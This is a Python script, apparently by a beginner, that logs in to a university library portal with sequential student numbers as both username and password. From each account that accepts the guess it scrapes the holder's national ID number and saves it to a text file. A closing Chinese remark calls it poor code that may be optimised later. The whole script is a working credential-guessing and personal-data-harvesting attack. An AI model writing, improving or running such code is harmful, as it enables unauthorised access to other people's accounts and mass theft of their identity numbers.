1 import urllib.request 2 import urllib.parse 3 import http.cookiejar 4 import re 5 6 lib_login = 'http://xxx.edu.cn/reader/redr_verify.php' 7 8 def get_info(number, passwd, myfile): 9 cj = http.cookiejar.CookieJar() 10 pro = urllib.request.HTTPCookieProcessor(cj) 11 opener = urllib.request.build_opener(pro) 12 13 postDict = { 14 'number':str(number), 15 'passwd':str(passwd), 16 'select':'cert_no', 17 'returnUrl':'' 18 } 19 postData = urllib.parse.urlencode(postDict).encode() 20 op = opener.open(lib_login, postData) 21 data = op.read().decode() 22 log_ok = False 23 is_login = re.compile('<font color="blue">.*</font>') 24 for x in is_login.findall(data): 25 login_ok = re.compile('<[^>]+>') 26 login_ok = login_ok.sub('', x) 27 if login_ok != '': 28 log_ok = True 29 else: 30 log_ok = False 31 if log_ok: 32 person_id = re.compile('身份证号: </span>\d*</TD>') 33 for x in person_id.findall(data): 34 usr_psw = re.compile('<[^>]+>') 35 usr_psw = usr_psw.sub('', x) 36 usr_psw += '\n' 37 number = str(number) 38 number += ' ' 39 myfile.write(number) 40 myfile.write(usr_psw) 41 myfile.flush() 42 print(number + 'OK') 43 print(usr_psw) 44 45 f = open('wifi2013.txt', 'a') 46 for i in range(2013002734, 2013003980): 47 get_info(i, i, f) 48 f.close()
此代码逻辑简单缺乏异常的处理,实在是刚入门Python的很差的代码,后续可能把它继续拿出来优化